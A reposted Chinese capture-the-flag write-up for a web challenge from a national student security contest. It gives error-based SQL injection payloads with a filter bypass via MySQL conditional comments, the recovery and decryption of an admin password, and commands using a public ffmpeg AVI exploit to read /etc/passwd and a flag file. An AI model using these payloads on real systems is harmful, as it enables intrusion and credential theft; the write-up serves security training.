[第十届全国大学生信息安全竞赛](web)方舟计划

上古时代,大洪水降世,毁天灭地。唯有诺亚得到神启,将地球上所有动物各带一对躲入方舟,延续了人类文明的火种。活在现代世界的你,没想到有一天自己也要承担起这样拯救世界的责任。
腾讯安全平台部得到情报,一个黑暗势力正在秘密研制足以毁灭世界的武器,为了掩人耳目,研究的核心文件被放在一个看上去平平无奇的网站上。腾讯方舟计划号召各路英雄,去获取项目的核心文件,守护人类文明拯救世界,而你正是其中一员……

http://123.59.71.217

备用 http://120.132.54.253

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

经过尝试发现 , 在注册的时候 , phone 这个参数之后添加单引号会引发报错

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

Error:You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version
for the right syntax to use near ''1'')' at line 1

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png
《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

猜测注册的SQL如下 :

$sql = "insert into users (username, password, phone) values ('$username', '$password', '$phone')";

这里尝试利用报错注入 :

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

然后经过尝试发现 , 这里应该是过滤了 from 这个关键字
通过大小写混写也无法绕过
经过大佬提醒尝试使用mysql的条件注释

username=1&
phone=1'|updatexml(1,concat(0x7e,(
select group_concat(schema_name)/*!00000from*/ information_schema.schemata limit 0,1
),0x7e),1))--+&
password=1&
repassword=1

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

username=1&
phone=1'|updatexml(1,concat(
  0x7e,(
    select group_concat(table_name)/*!00000from*/ information_schema.tables 
      where table_schema='note' limit 0,1
  ),0x7e)
,1))--+&
password=1&
repassword=1

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png
《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png
《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png
《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

Error:XPATH syntax error: '~BjDjgKE8CEk5hA9z9FDH7otvGntinom'

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

Error:XPATH syntax error: '~DjgKE8CEk5hA9z9FDH7otvGntinomp~'

因此 secrectkey 应该是

BjDjgKE8CEk5hA9z9FDH7otvGntinomp

然后看看 user 表

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

这样选择会有问题 , 具体可以参考 :

可以为其取一个别名就可以正常 select 出数据

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

Error:XPATH syntax error: '~1|fangzh0u|mIiD2wpTUTnWDzJO6d32'

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

Error:XPATH syntax error: '~|mIiD2wpTUTnWDzJO6d329w==|~'

我们的目标是 :

id : 1
name : fangzh0u
password : mIiD2wpTUTnWDzJO6d329w==

密码明显被加密过 , 根据之前获取到的 secrectkey 可以推断出
这个 secrectkey 可能就是用来加密明文密码的密匙

我们来注册一个用户测试一下
这里注册了一个用户名 , 密码都为 1 的用户
然后通过注入来得到密码的密文

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

Error:XPATH syntax error: '~11612|1|9j9Rf1QtQMjIrjNef74UeQ='

队友看出了这个应该是 AES 加密
测试如下 :

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

http://aes.online-domain-tools.com/

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png
《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

id : 1
name : fangzh0u
password : tencent123

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

上传一个 avi 的视频 , 服务器会将其转换为 mp4 格式
根据文章 : http://www.freebuf.com/vuls/138377.html
下载利用脚本 , 尝试读取 /etc/passwd 文件

git clone https://github.com/neex/ffmpeg-avi-m3u-xbin.git

无法成功读取 , 但是别的文件是可以正常读取的

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

队友猜想可能是过滤掉了 /etc/passwd 文件 , 尝试直接读取 php 文件 , 发现是可以正常读取的
队友提示用 /etc/./passwd 来代替 /etc/passwd 成功读取到 passwd 文件
如下图

python3 gen_xbin_avi.py file:///etc/./passwd etc_passwd.avi

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

发现存在用户名 :

s0m3b0dy

猜测 flag 在该用户的家目录下
再次利用 freebuf 上的 python 脚本构造畸形 avi 文件

python3 gen_xbin_avi.py file:///home/s0m3b0dy/flag flag.avi

上传 , 服务器处理后下载 mp4 文件即可成功读取到 flag

《[第十届全国大学生信息安全竞赛](web)方舟计划》 image.png

    原文作者:王一航
    原文地址: https://www.jianshu.com/p/0c362b6b2669
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞